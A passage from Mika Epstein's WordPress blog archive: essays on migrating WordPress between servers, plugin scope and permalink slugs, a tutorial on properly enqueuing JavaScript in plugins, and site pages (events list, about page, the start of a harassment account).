That really doesn’t surprise me. What all the proposed fixes to this try to do is to force WordPress into working a certain way, rather than customizing a solution. That probably sounded the same to a lot of people, but it’s not. The method by which you move static HTML files around servers is, for lack of a better term, a migration method. When you migrate an application from sys to test to production, you do so because there are a lot of moving parts to test. It’s in these moves that we face headaches with the relative path locations. When we hard code locations into our content, like in a URL, we lock ourselves into that URL, now and forever. But does the content actually matter?
For me, the real question is ‘What moving parts of WordPress might I be testing that I would need to ‘push’ to my production site?’ I came up with three things:
- Themes
- Plugins
- Content
I ‘push’ themes and plugins out to a test server and then my production server all the time. I do it for hundreds of different applications a day, and it’s all automated. We never have a problem (unless the code is bad) because we perfected our migration method, and let go of the idea of pushing our content. **Our content is not our code.**
Initially, we didn’t replicate content for legal reasons. We have sample data to test with when we’re checking out theme and plugin changes, but we don’t bother with data replication. Realistically we can’t, since the people who are testing things out don’t have the security clearance to look at the content. Because of that, we have to trust that the live data is the live data, and that it’s good. Instead of sweating over the content, we concentrate on copying up, in this case, themes and plugins. Since those may have customizations, we take a snapshot of the database, install the theme, make our changes, and take a snapshot after. Get the diff, and now we know what needs to be applied up. Then we script it. The job will FTP up the files, run the SQL diff (which we’ve already edited for the new domain name if needed, but rarely since we use hosts to point at our dev server instead), and off we go. Same thing for plugins.
If I apply this to WordPress, suddenly I have but one, minor, headache in moving my code, and that’s the `wp_options` table, and it’s serialization which includes the URL. I agree, that’s a headache and if I was going to put paid effort to fixing anything about relative URLs, that would be it.
But I don’t think that URLs for WordPress should be non-relative. Given the alternatives and the possibilities, right now the issue isn’t that WordPress stores the like that, but that we don’t have a migration ‘process’ defined yet. We should stop getting hung up on ‘fixing’ what isn’t broke, and instead start looking at the best ways to move what needs moving. See, once we found we *couldn’t* replicate our content, we started looking into what needed to be done to protect it, outside of ‘migrations.’ In WordPress, today, the best way is to have your writers submit their posts, and your editors review and publish. You may want to look into groupflow plugins, or do what the [Bangor Daily News did](http://www.mediabistro.com/10000words/how-to-run-a-news-site-and-newspaper-using-wordpress-and-google-docs_b4781).
The right tool for the write job.(Pun intended.) Moving your content between testing and live servers isn’t needed. Just concentrate on moving the ‘app’ as it were. It’ll work better.
**Categories:** How It Is
**Tags:** cms, essay, open source, website
---
### [You Can't Be Everything](https://halfelf.org/2012/you-cant-be-everything/)
**Published:** May 30, 2012
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** No one app can do it all, and don't take it personally when it doesn't. You can please some people sometime, but you cannot please all the people all of the time, after all.
**Content:**
There’s no app out there that does everything.
A lot of you just said ‘I know.’ but did you ever stop to think about why that’s the case? After all, some applications do everything you need them to do, and some you don’t, so who gets to decide what is and isn’t needed? When I talked about how [WordPress was just fine on it’s own](https://halfelf.org/2012/you-dont-need-any-plugins/ "You Don’t Need Any Plugins"), without any plugins, people stepped up and said “But Ipstenu, I really need XYZ.” Heck, Lorelle said she *needed* Akismet.
Learning how to separate your personal needs from the needs of the masses, when writing software, is a full-time job, and many of us come at it from a slant-wise point of view. In fact, writing core code for WordPress is in diametric opposition to why we write plugins! While I’m going to talk about it from a WordPress point of view, the concept holds true to any application that has ‘add ons.’
Plugins are written, by in large, to solve a specific problem. They’re not ‘fixing’ WordPress, they’re expanding. Remember, your iPhone wasn’t broken until it had Angry Birds, nor was your iPad incomplete without Twitter. Those are things you wanted, and solved a problem for you. The base tools, in and of themselves, address a broader group of people, with a diverse set of needs, and have the option of being everything or nothing.
The best tool, WordPress, your computer, etc, are built to be extendable. They’re built with the innate knowledge that the users may want things they can’t forsee. Five years ago, how many of you thought Google+ or Twitter would be a ‘thing’? Let’s take that further. You know how when a new video game comes out, sometimes you can’t play it on your older computer? That’s because it wasn’t built with the new game in mind, so it’s just not capable. And that’s why computers generally let you upgrade memory, CPU, and hard drives. They are built to be extendable becuase they *know* they can’t know the future.
Bringing it back to WordPress, it was built to meet a need. People wanted to blog, they wanted it to be easy and they wanted it to just bloody work! So the Matts said ‘This is what we want’ and built it. Thankfully, they understood that people wanted to extend WordPress. But not at first. Oh you didn’t know? Back in December 2003, a ‘new feature’ was introduced called [my-hacks.php](http://wordpress.org/news/2003/12/new-feature-my-hacksphp/), which let you put a file by that name in the root of WP, and it would treat it like a functions file. In fact, that’s why I call my non-plugin code ‘hacks.’ Heck, we didn’t get pretty permalinks until January 2004 (then called [‘cruft free’ URLs](http://wordpress.org/news/2004/01/cruft-free-uris-in-wp-10/)).
The point of this is not to expose the funny looking beginnings, but to demonstrate the nature of the software. As it grew, people had needs, and instead of writing everything into core, they cleverly changed WordPress so it was *extendable* and let people grow as they needed. So when we talk about things like needs and wants, we do it in the understanding that we write our software to fill a need, and we make add-ons to fill wants. Sounds like double speak, I know, but that’s why I said plugins and core development are in direct opposition.
When I want to add things to core, I want them to be useful to everyone, so I’m forced to remove my ego from the equation. Looking at the (few) core submissions I’ve made, I carefully thought them out beforehand. I looked at places were the user experience was inconsistent or diminished. When I make suggestions or offer commentary to what I think could be better, I try to show my passion without acting like a teenager’s first big crush, or a screaming fangirl meeting her heroes.
This isn’t to say I don’t think passion is a part of the driving force of any product, but that it must be tempered and controlled in things like WordPress core. We know that we can’t make WordPress core do everything, and we know we *shouldn’t*. When things are extendable, we utilize that and demonstrate our fire. When they’re difficult to extend, or kludgy to implement, we come back and say ‘You know, it would be nice if we could…’ But at the end of the day, when WordPress tags your trac ticket ‘wontfix,’ it’s because they know, being unable to be all things, that they must limit the things they are.
If you haven’t yet, take the time to read [WordPress’s Philosophy](http://wordpress.org/about/philosophy/).
[](https://halfelf.org/2012/you-cant-be-everything/jorbin_gonna_hate/)When I usually talk about divorcing my ego from a project, what I mean is that I don’t let my passion cloud my better judgement. One of the lessons I’ve learned in nearly 20 years of active fandom is that when you love something, you get fired up about it, and you tend to view peoples opinions and actions as a personal attack when, in fact, they often aren’t. Yes, there are idiots and trolls and people who hate-monger, but in general, people actually aren’t dicks. They’re selfish and self-centered, but that’s just human nature. Part of designing a project means you have to let go of your personal attachment to your baby, and understand that haters are just gonna hate, and there’s nothing you can do about it.
This also applies to using a tool, though. People mock the evangelists, and we all hate the extremists, and certainly no one actually supports those who are outright malicious. But all those archtypes come part and parcel with a system, and are all aspects of the simple problem that no one product can do *all* the things. We want things to be a silver bullet, to fix everything we, personally, have a problem with, and we’re totally unrealistic in wanting that.
Mark and I were talking recently, and he pointed out that WordPress was once 230kb. It’s now 3.8megs, even zipped up. Part of this is because it all grew and became more, but if you ask the old-timers, some will complain that around the 1.5 days, WordPress just became too big. It does too much! And those people say we *should* pull things like the importer out of WordPress. After all, you’re going to use it once, if at all. Core plugins would get pretty big too. Jetpack is 2.4megs on its own, zipped up. By trying to be everything, maybe we’re making things a little worse.
So the next time someone gets their panties in a bunch at you for not doing everything, tell that it’s by design. Do what you want with your code, make it easily extendable for the next guy (or forkable), and carry on. They’re not getting that unicorn.
**Categories:** How It Is
**Tags:** coding, essay, freedom, open source, plugins, wordpress
---
### [Permalink Elephants](https://halfelf.org/2012/permalink-elephants/)
**Published:** May 21, 2012
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** After years of research, toil and struggle, I've determined the 100% foolproof best permalink structure ever!
**Content:**
 The best permalink format for your site is so simple, you’re going to wonder why you never thought of it before. It’s obvious, intuitive, and perfect. In fact, I dare say it’s genius. Want to know what it is?
**The best permalink is the one your visitors can remember.**I told you it was obvious.
Look, you can waste immesurable hours and days trying to determine if `/postname/` is better than `/2012/postname`, or you can sit down and remember you’re not making a site for search engines, but for your visitors.
SEO does have a point, don’t get me wrong. If it’s easy for people to find your site, you get more traffic. One of my sites, following the recent Panda and Penguin updates on Google, jumped from 5th place to 3rd on a search for the major keyword. Another went from 12th to 9th (we’re working on that). None of that has to do with me changing anything, or even picking the best SEO plugin. It was done the traditional way.
1. I wrote good copy
2. I networked with related sites for links
3. I advertised
4. I was memorable
Those three things, when done correctly, are how you get your site to rank high. And it’s that last item, being memorable, that should drive your URL choices.
A URL like **http://example.com/12897342134/jkahsdu.aspx** isn’t memorable. It tells me nothing of what your site’s about, what the topics are, what the subject is.
On the other hand, a URL like **http://example.com/2011/how-to-save-elephants** tells me quite a bit. I know when the post was written, so if there was a big to-do about elephants in 2011, it probably is related. But it’s not always easy to tell someone that URL, nor is it a given I’ll remember it tomorrow. I may remember that example.com had a cool posts about saving elephants, however. It’s certainly *more* likely I’ll remember it than the other link!
This is where WordPress does something cool, though. See, I can tell someone to go to **http://example.com/how-to-save-elephants/** and that will *redirect* them to the right URL! You can do this on Drupal as well with a module called [Global Redirect](http://drupal.org/project/globalredirect) (Drupal folks, correct me if I’m wrong/there’s a better one).
To me, that says the issue isn’t what permalink pattern you pick, but what permalink *slug* you use! On that train of thought, what if I made my URL **http://example.com/2011/save-elephants** instead? Naturally then **http://example.com/save-elephants** would also work.
Now we can clearly see that ultimate issue is not the permalink structure. The only thing I don’t like about how WordPress defaults URLs is that I have to tell people ‘it’s example dot com slash save dash elephants’ and that’s not as easy as ‘example dot com slash elephants.’ Or even ‘saveelephants, all one word’ (I don’t know why that’s easier, but people tell me it is).
The whole reason people like short URLs is that they’re short and easier to remember. If I told you to get to a site you used http://bit.ly/elephant, you’d have a much higher likelihood of remembering. Invariably, however, we look at branding and think “I don’t want bit.ly to have my name.” That’s a case for [Yourls](https://halfelf.org/2012/yourls/), and now, as long as you customize all your Yourls, you’re in it to win it. I know most people use short URLs for Twitter and such, but I find that making a handy short URL to tell someone ‘go to foo dot in slash facebook’ works astonishingly well. Of course Facebook knows that too, and lets you use http://fb.com/username to find people.(I don’t have a yourls setup here because I’m incapable of finding a short URL I like.)
Sadly, there is one problem with this, and it’s that you can only use each ‘slug’ once, so once you’ve use ‘elephant’ you’re never able to use it again.
Name your slugs wisely and plan, as best you can, for the future.
**Categories:** How It Is
**Tags:** design, essay, heo, seo
---
### [jQuery - Why U No Enqueued?](https://halfelf.org/2012/jquery-why-u-no-enqueued/)
**Published:** May 14, 2012
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** There are some pretty basic things done wrong when calling js files in WordPress plugins. Let's fix that.
**Content:**
This is a followup to my [how to get your plugin in the WordPress repository](https://halfelf.org/2012/submitting-wp-plugins/ "How To Submit a WordPress Plugin") post.
While code isn’t outright rejected for being ‘bad’ code (only security holes and guideline violations), a lot of plugins are doing the easy things wrong. These plugins will get approved, but they won’t work with all setups, they’re more likely to have issues with Multisite, and they’re just not thinking forward. They aim to solve a, singular, problem, without looking beyond. Primarily I see this when people are trying to bring in some js code into their plugin. Heavens knows I do it, and I’ve done it wrong too. But as I see more and more plugins, I’m starting to get better and better at knowing what’s wrong when I see it.(“I know it when I see it” thanks to United States Supreme Court Justice Potter Stewart)
The easiest way to show you is to give you some really bad examples and go through some of the steps to fix it. The best part is that I’m actually going to use *real* plugins I’ve seen. Only the name has been changed to protect the innocent.
Ready? Here’s what we’re doing wrong.
## Not using functions to define locations
The very bad code:
```
echo '';
```
I wish this was something I made up. Worse, I’ve see it more than once. Recently.
This install is assuming WordPress is installed in the root of your HTML folder (i.e. domain.com). This is not always the case, as many people install WordPress in subfolders. We’ll need to fix that first with `home_url()`.
```
echo '';
```
Now it’s a little better, as by using `home_url()` we’re letting WordPress define where ‘home’ is. Great! This has two pretty obvious problems, however. First, if I have WordPress installed in a folder, like `/public_html/wordpress/`, but I’m running it out of the main domain by [giving it its own directory](http://codex.wordpress.org/Giving_WordPress_Its_Own_Directory), this won’t work. Your code would point to http://example.com/wp-content… when mine is in http://example.com/wordpress/wp-content.. instead! The ‘easy’ fix is to change `home_url()` for `site_url()`, but what if I’m not using `wp-content`? You didn’t know we could [Move wp-content](http://codex.wordpress.org/Editing_wp-config.php#Moving_wp-content)? We can. So let’s address that.
```
echo '';
```
By using [functions to determine plugin and content directories](http://codex.wordpress.org/Determining_Plugin_and_Content_Directories), we can make this much more flexible. That works, but it could be better. What if we didn’t have to define the `plugins` or `myplugin` folders? We could just do something simple like this.
```
echo '';
```
Now we have a simple, flexible, functional script embed of js. Except there’s one, *minor* problem. We’re not including the script correctly.
## Not enqueuing files
This isn’t ‘wrong’ really. I mean, if I put this in my plugin, it would echo out the script, and that’s what I want, right?
```
echo '';
```
But let’s say I want to put it in my header:
```
function my_scripts_method() {
echo '';
}
add_action('wp_head', 'my_scripts_method');
```
And now I want to include my CSS so it looks pretty:
```
function my_scripts_method() {
echo '';
echo '';
}
add_action('wp_head', 'my_scripts_method');
```
Oh, wait, no, I wanted my JS in the footer:
```
function my_scripts_method_foot() {
echo '';
}
function my_scripts_method_head() {
echo '';
}
add_action('wp_head', 'my_scripts_method_head');
add_action('wp_footer', 'my_scripts_method_foot');
```
And really, this will work. But it’s not efficient, I’ve got extra actions, and I’m not considering any jquery dependencies anymore. By using [wp\_enqueue\_script](http://codex.wordpress.org/Function_Reference/wp_enqueue_script) is better. Weblog Tools Collection did a series on how to [properly add scripts](http://weblogtoolscollection.com/archives/2010/05/06/adding-scripts-properly-to-wordpress-part-1-wp_enqueue_script/) (note that it’s a bit out of date with the use of `WP-CONTENT` constants). From that we can extrapolate to use just this to include our js and css:
```
function my_scripts_method() {
wp_enqueue_script('my_script', plugins_url('myscript.js',__FILE__) );
wp_enqueue_style('my_script', plugins_url('myscript.css',__FILE__) );
}
add_action('wp_enqueue_scripts', 'my_scripts_method');
```
What enqueue does is put your code in the best possible location and can be extended to load dependencies. [wp\_enque\_scripts](http://codex.wordpress.org/Function_Reference/wp_enqueue_script) has a lot of power, and because it’s a WordPress function, it’s got options that make it more flexible. Like when I look at my above code, I remember, oops! I wanted to run my js out of the footer! Not a problem. Look at my options.
```
wp_enqueue_script('handle', 'source', 'dependencies', 'version', 'in_footer');
```
The ‘handle’ is what I want to name my script, it should be unique. If I register my script, I can call the handle over and over again. We’re using `my_script` right now. The ‘source’ is where my file is located. We’re lifting that from our other code, the bad code, because it works. Your ‘dependencies’ are the other js files yours needs to function. If I put in `array('jquery', 'scriptaculous')` then both jQuery and Scriptaculous would get loaded *before* my script. Curiously, you don’t actually need the ‘version’ option, as you can leave it blank and WordPress will automatically add a version number equal to the current version of WordPress you are running. So every time you upgrade WP, it will get updated and force a re-download. This is good, since if you have dependencies to scripts included in WordPress, and they change with a new version (which is the only way they *can* change), then you get updated too. Finally we have the value I was looking for, ‘in\_footer.’ Leave it blank and it’s in the header, put in `true` and it’s not.
This makes my code:
```
function my_scripts_method() {
wp_enqueue_script('my_script', plugins_url('myscript.js',__FILE__), '','', true ););
wp_enqueue_style('my_script', plugins_url('myscript.css',__FILE__) );
}
add_action('wp_enqueue_scripts', 'my_scripts_method');
```
Yeah, isn’t that a lot easier?
## Using a different jQuery
This last one I’m going to touch on today is the exact code I saw, in the wild, and it’s got two of my three buggaboos in it.
```
wp_enqueue_script('jquery-1.4.3.min.js', '/wp-content/plugins/myplugin/js/jquery-1.4.3.min.js');
```
Okay. You already know the right way to call the script, so we’ll edit that into something more flexible.
```
wp_enqueue_script('jquery-1.4.3.min.js', plugins_url('js/jquery-1.4.3.min.js',__FILE__) );
```
That should be okay, but it’s totally not.
Most importantly here, we’re calling jquery, which is actually built in to WordPress. Now, we’re calling it by a different handle, but that’s no guarantee that it won’t cause conflicts. In fact, I’m pretty sure this will cause no end of problems with some plugins. The *right* thing to do would be this:
```
function my_scripts_method() {
wp_deregister_script( 'jquery' );
wp_register_script( 'jquery', plugins_url('js/jquery-1.4.3.min.js',__FILE__) );
wp_enqueue_script( 'jquery' );
}
add_action('wp_enqueue_scripts', 'my_scripts_method');
```
Now we’re making sure we won’t have conflicts by re-registering jquery, replacing it, and moving on.
A lot of people would actually recommend using Google instead, as it takes the responsibility off you for including a file you don’t ‘control.’ Also it makes your plugin smaller and load faster.
```
function my_scripts_method() {
wp_deregister_script( 'jquery' );
wp_register_script( 'jquery', 'http://ajax.googleapis.com/ajax/libs/jquery/1.4.3/jquery.min.js' );
wp_enqueue_script( 'jquery' );
}
add_action('wp_enqueue_scripts', 'my_scripts_method');
```
Great! Now we’re done, right? Wrong. As of this writing, WordPress is using jQuery **1.7.2**. Now I couldn’t come up with a reason to include an old version of jQuery in WordPress (newer, yes, older, no), so I asked around and none of my friends could either. Using an older version is more likely to cause issues with newer code included in WordPress, as well as plugins which are upgraded to take advantage of the new features. You’re shooting yourself in the foot. The only thing you might be using this for is to include deprecated fictions, and really you need to update your code to fix that instead.
If the whole point is to load the scripts from Google, though, [there’s an awesome plugin for that](http://wordpress.org/extend/plugins/use-google-libraries/).
**Categories:** How To
**Tags:** coding, plugins, security, wordpress
---
### [Lesson #1373 - Learning](https://halfelf.org/2012/lesson-1373-learning/)
**Published:** May 4, 2012
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** I'll take knowledge, please.
**Content:**
All the help I give on all the forums and various places works using this maze. I can tell you, but then you won’t learn anything.
[](http://survivingtheworld.net/Lesson1373.html)
> There’s more than one path to knowledge; it’s not always the same knowledge once you get there, either. But if you think it was easy to get there, you’re not at the destination you think you’re at.
Credit: [Surviving the World](http://survivingtheworld.net/Lesson1373.html)
**Categories:** How It Is
**Tags:** essay
---
## Pages
### [Half-Elf on Tech](https://halfelf.org/)
**Published:** October 17, 2023
**Author:** Ipstenu (Mika Epstein)
**Content:**
## WordPress Greatest Hits
83
Core Contributions
2,800+
Make Posts Written
57K+
Plugins Reviewed
138K+
Forum Replies
---
### [Get In Touch](https://halfelf.org/get/in-touch/)
**Published:** October 25, 2022
**Author:** Ipstenu (Mika Epstein)
**Content:**
I do not reply to all emails (or even most) but if you want to shoot me a line and you don’t have my email, here’s your chance.
Please enable JavaScript in your browser to complete this form.
Name \*First
Last
Message Email know
Email \*
Comment or Message \*
I know the drill- I confirm I am NOT asking for support or to buy a domain
Submit
---
### [Events (Past and Upcoming)](https://halfelf.org/events/)
**Published:** December 23, 2013
**Author:** Ipstenu (Mika Epstein)
**Content:**
At this time, I do not attend events or travel as much as I did for the last decade. A break is a good thing.
### Scheduled/Planned Events
- [WordCamp Canada 2026](https://canada.wordcamp.org/2026/) (planned)
### Past Events
- [WordCamp US 2019](https://us.wordcamp.org/2019/)
- [Panel Discussion](https://wordpress.tv/2019/11/14/jenny-beaumont-andrew-nacin-jake-spurlock-mika-epstein-wordpress-automated-updates-a-panel-discussion/)
- [WordCamp Sacramento 2019](https://sacramento.wordcamp.org/2019/)
- [Slides](https://slides.halfelf.org/wcsac2019/)
- [WordCamp NYC 2019](https://nyc.wordcamp.org/2019/)
- [Slides](https://slides.halfelf.org/wcnyc2019/)
- [WordCamp Minneapolis/St. Paul 2019](https://minneapolis.wordcamp.org/2019/)
- [Slides](https://slides.halfelf.org/wcmsp2019/)
- [WordCamp Manchester 2018](https://2018.manchester.wordcamp.org)
- [Video](https://wordpress.tv/2019/05/15/mika-epstein-the-magical-repeatable-gutenberg-block/) | [Slides](https://slides.halfelf.org/wcman2018)
- [WordCamp NYC 2018](https://2018.nyc.wordcamp.org)
- [Slides](https://slides.halfelf.org/wcnyc2018/)
- [WordCamp Brighton 2018](https://2018.brighton.wordcamp.org)
- [Panel Discussion](https://wordpress.tv/2019/03/27/panel-the-future-of-wordpress/)
- [WordCamp San Diego 2018](https://2018.sandiego.wordcamp.org)
- [Video](https://wordpress.tv/2018/08/22/mika-epstein-the-curious-case-of-a-comatose-cloud-p3of3/) | [Slides](https://slides.halfelf.org/wcsd2018)
- [WordCamp US 2017](https://2017.us.wordcamp.org)
- [Video](https://wordpress.tv/2017/12/10/mika-epstein-lesbians-damn-lesbians-and-statistics/) | [Slides](https://slides.halfelf.org/wcus2017)
- [WordCamp Philly 2017](https://2017.Philly.wordcamp.org)
- [Slides](https://slides.halfelf.org/wcphilly2017)
- [WordCamp Boston 2017](https://2017.boston.wordcamp.org)
- [Video](https://wordpress.tv/2017/08/09/mika-epstein-why-cant-i-do-x-in-my-plugin/) | [Slides](https://slides.halfelf.org/wcboston2017/)
- [WordCamp DC 2017](https://2017.dc.wordcamp.org)
- [Slides](https://slides.halfelf.org/wcdc2017/)
- [WordCamp Europe 2017](https://2017.europe.wordcamp.org)
- [WordCamp Raleigh 2017](https://2017.raleigh.wordcamp.org)
- [Video](https://wordpress.tv/2017/06/04/ipstenu-mika-epstein-your-first-plugin-sucked-and-thats-okay/) | [Slides](https://slides.halfelf.org/wcraleigh2017)
- [A Day of Rest Boston 2017](https://adayofrest.hm/boston-2017/)
- [WordCamp US 2016](https://2016.us.wordcamp.org)
- [Video](https://wordpress.tv/2016/12/11/mika-epstein-you-are-not-code/) | [Slides](https://slides.halfelf.org/wcus2016)
- [WordCamp Seattle 2016](https://2016.seattle.wordcamp.org)
- [Video](https://wordpress.tv/2017/08/05/mika-epstein-names-versions-releases-and-svn/) | [Slides](https://slides.halfelf.org/wcsea2016) | [Panel Discussion](https://wordpress.tv/2017/08/07/panel-discussion-becoming-a-part-of-the-wordpress-community/)
- [WordCamp Montreal 2016](http://2016.montreal.wordcamp.org/)
- [Video](https://wordpress.tv/2016/12/02/mika-epstein-behind-the-curtain-reviewing-plugins-for-wordpress-org/) | [Slides](https://slides.halfelf.org/wcmtl2016)
- [WordCamp NYC 2016](http://2016.nyc.wordcamp.org/)
- [Slides](https://slides.halfelf.org/wcnyc2016)
- [WordCamp OC 2016](http://2016.oc.wordcamp.org/)
- [Video](http://wordpress.tv/2016/08/17/mika-a-epstein-dependency-inferno/) | [Slides](https://slides.halfelf.org/wcoc2016)
- [WordCamp EU 2016](http://2016.eu.wordcamp.org/)
- [Video](http://wordpress.tv/2016/06/30/mika-epstein-reviews-the-good-the-bad-and-the-stalker/) | [Slides](https://slides.halfelf.org/wceu2016)
- [WordCamp Atlanta 2016](http://2016.atlanta.wordcamp.org/)
- [Video](http://wordpress.tv/2016/03/29/mika-epstein-plugin-reviews-demystified-how-to-review-a-plugin/) | [Slides](https://slides.halfelf.org/wcatl2016/) | [Keynote Slides](https://slides.halfelf.org/wcatl2016key/)
- [WordCamp Tokyo 2015](https://tokyo.wordcamp.org/2015/)
- [WordCamp Salt Lake City 2015](https://slc.wordcamp.org/2015/)
- [Slides](https://slides.halfelf.org/wcstl2015/)
- [WordCamp Europe 2015](http://europe.wordcamp.org/2015/)
- [Video](http://wordpress.tv/2015/07/12/mika-epstein-working-with-hosting-companies/) | [Slides](https://slides.halfelf.org/wceu2015/)
- [Geek Girl San Diego Tech Conference 2015](http://sandiego.geekgirltechcon.com/)
- [Slides](https://slides.halfelf.org/ggsd2015/)
- [WordCamp OC 2015](http://oc.wordcamp.org/2015/)
- [Video](http://wordpress.tv/2016/01/07/mika-ariela-epstein-how-not-to-submit-your-plugin/) | [Slides](https://slides.halfelf.org/wcoc2015/)
- [WordCamp Minneapolis 2015](http://minneapolis.wordcamp.org/2015/)
- [Video](http://wordpress.tv/2015/05/11/mika-epstein-detoxify-your-site/) | [Slides](https://slides.halfelf.org/wcmsp2015)
- [WordCamp San Diego 2015](http://2015.sandiego.wordcamp.org/)
- [WordCamp St. Louis 2015](http://stlouis.wordcamp.org/2015/)
- [Slides](https://slides.halfelf.org/wcstl2015/)
- [WordCamp Ventura 2014](http://2014.ventura.wordcamp.org/)
- [Slides](https://slides.halfelf.org/wcventura2014/)
- [WordCamp Tokyo 2014](http://2014.tokyo.wordcamp.org/)
- [WordCamp LA 2014](http://2014.la.wordcamp.org/)
- [Slides](https://slides.halfelf.org/wcla2014/)
- [WordCamp NYC 2014](http://2014.nyc.wordcamp.org/)
- [Video](http://wordpress.tv/2014/11/13/mika-epstein-dude-youve-been-font-i-cond/) | [Slides](https://slides.halfelf.org/wcnyc2014/)
- [WordCamp Miami 2014](http://2014.miami.wordcamp.org/)
- [Slides](https://slides.halfelf.org/wcmia2014/)
- [WordCamp Las Vegas 2013](http://2013.vegas.wordcamp.org/)
- [Video](http://wordpress.tv/2014/03/19/mika-epstein-managing-your-sites-community-dont-make-commenting-a-crime-scene/) | [Slides](https://slides.halfelf.org/wclv2013/)
- [WordCamp Boston 2013](http://2013.boston.wordcamp.org/)
- [Slides](https://slides.halfelf.org/wcbos2013/)
- [WordCamp Portland 2013](http://2013.portland.wordcamp.org/)
- [Video](http://wordpress.tv/2013/09/11/mika-epstein-lightning-talk/) | [Slides](https://slides.halfelf.org/wcpdx2013/)
- DreamCon 2013
- [WordCamp San Francisco 2013](http://2013.sf.wordcamp.org/)
- [Video](http://wordpress.tv/2013/08/01/mika-epstein-dont-use-wordpress-multisite/) | [Slides](https://slides.halfelf.org/wcsf2013/)
- [WordCamp Chicago 2013](http://2013.chicago.wordcamp.org/)
- [Slides](https://slides.halfelf.org/wcchi2013/)
- [WordCamp Chicago 2012](http://2012.chicago.wordcamp.org/)
- [Slides](https://slides.halfelf.org/wcchi2012/)
- [WordCamp San Francisco 2012](http://2012.sf.wordcamp.org/)
- [Video](http://wordpress.tv/2012/08/21/mika-epstein-getting-involved-log-on-jump-in-hang-out/)
---
### [About the Half-Elf](https://halfelf.org/about/)
**Published:** June 5, 2013
**Author:** Ipstenu (Mika Epstein)
**Content:**
##### ( … and what does a Half-Elf have to do with WordPress?)
Mika (実佳) Ariela Epstein is better known as Ipstenu, the WordPress Half-Elf Rogue.
Working for **[Awesome Motive](https://awesomemotive.com)** as a Wordpress Developer and researcher, Mika helps make the internet safer for everyone. Until 2023, she was the lead rep for the WordPress.org Plugin Review team, and currently retains an advisory position. When she’s not writing her own code, she’s helping WordPress developers write something better.
The cofounder of **[LezWatch.TV](https://lezwatchtv.com/)**, the greatest database of queer characters and shows, she develops software and trawls queer representation on television to make the data visible.
Passionate about code, open source technology, open data, and mindful development practices, Mika may watch a lot of TV but it’s for a good cause. You can find Mika travelling internationally to speak about the intersection of software, fandom, and humanism.
Okay, all that’s out of the way.
I’m Mika Ariela Epstein, better known as Ipstenu, the Half-Elf Rogue of WordPress. One day I made a joke that I wasn’t a Support Wizard, I was a half-elf rogue who snuck up on problems and stabbed them in the back. The joke became my forums title on WordPress.org and from there, my identity in WordPress was that of a half-elf.
I currently work as a WordPress Developer in Research and Development at **[Awesome Motive](HTTPS://awesomemotive.com)**.
From 2022 through 2024, I was a Lead WordPress Engineer at [**XWP**](https://xwp.co). Before that, from 2012 to 2022, I worked for **[DreamHost](http://dreamhost.com)** in various roles, from WordPress Support Specialist and Manager (aka ‘WordPress Guru’ or unicorn, depending on who you ask), and finally as a WordPress Developer on the managed WordPress hosting platform, DreamPress.
Before that I worked at bank, which has nothing to do, at all, with WordPress.
On **WordPress.org**, I was the volunteer representative for the Plugin Review team from 2013-2023, making sure the directory provided a safe place for all WordPress users – from the non-technical to the developer – to download plugins that are consistent with the goals of the WordPress project. This, sadly, opened me up to a [level of harassment that can be staggering to comprehend](https://halfelf.org/harassment-rst/).
A dedicated devotee to Open Source and the power of the people to make software, I also speak at events internationally on topics ranging from coding to handling angry users, provide training, and strive to help make the online world better and safer for all.
Oh and I run a website to [track queer female characters on TV](https://lezwatchtv.com). Of course it runs on WordPress.
### Contact / Hiring Information
I’m not currently available for any contract work. Please don’t ask.
My republishing fee for any articles found on `halfelf.org` is $500 USD.
### WordPress Origin Story
```
Now, this is a story all about how
My life got flipped-turned upside down
And I’d like to take a minute, just sit real tight
I’ll tell you how I became a guru of WordPress Multisite
In WordPress bloggin’ born and raised
In support forums is where I spent most of my days.
Hanging, helping, debugging all cool
And all .htaccessing like a fool.
Till a couple Canadians, up to no good,
Starting pushin’ MU in my neighborhood.
I coded one little plugin, my wife got scared,
She said “You’re writing all this code on your Macbook air!
I spoke at a WordCamp and then it came clear,
The job offer was fresh, and it came with good beer!
If anything I could say that WordPress was fair,
And I thought, “Hey, just fork it! Yo, homes dye my hair!”
I logged in to Slack ’bout 7 or 8
And I said to the meetup “Here”, it was great
I looked at the make blogs It was finally true!
I’m a guru of WordPress and Multisite too.
```
---
### [The Saga of Harassment by Way2Enjoy](https://halfelf.org/harassment-rst/)
**Published:** October 23, 2022
**Author:** Ipstenu (Mika Epstein)
**Content:**
**Originally posted on 26 October, 2022.**
**Note**: This document is written in third person as it was originally created for use in a legal cease and desist document. It is a longer, more comprehensive, [version of the story told on this site in 2021](https://halfelf.org/2021/when-its-not-burnout/), with details expanded upon for clarity and posterity.
**The Saga of Harassment by Way2Enjoy:**
**[Home](https://halfelf.org/harassment-rst/) | [2018](https://halfelf.org/harassment-rst/rst-2018/) | [2019](https://halfelf.org/harassment-rst/rst-2019/) | [2020](https://halfelf.org/harassment-rst/rst-2020/) | [2021](https://halfelf.org/harassment-rst/#2021) | [2022](https://halfelf.org/harassment-rst/rst-2022/)** | **[2023](https://halfelf.org/harassment-rst/rst-2023/)** | **[2024](https://halfelf.org/harassment-rst/rst-2024/)** | **[2025](https://halfelf.org/harassment-rst/rst-2025/)**
*(Last Updated 22 May 2025)*
## Table of Contents
- [Summary](#summary)
- [Involved Parties](#involved-parties)
- [List of Infractions](#list-of-infractions)
- [Steps Taken for Protection](#steps-taken-for-protection)
- [History of Events](#history-of-events)
- [Prior to November 2018](#prior-to-november-2018)
- [2018](#2018)
- [2019](#2019)
- [2020](#2020)
- [2021](#2021)
- [2022](#2022)
- [2023](#2023)
- [2024](#2024)
- [2025](#2025)
- [Conclusion](#conclusion)
## Summary
The company way2enjoy – owned by **Ravi Shankar Tiwari** (aka Ravi Shankar, or Ravi Tiwari believed to be born in 1982) – uploaded and promoted several plugins into the WordPress.org plugin repository, which led almost immediately to their carrying out multiple and repeated violations of the plugin guidelines, generally concerning harassment of users and spamming. Multiple ignored warnings from the volunteer plugin team, as well as a failure to correct their behavior, resulted in the relatively rare action of a ban from hosting their code on WordPress.org on *November 26, 2018*.
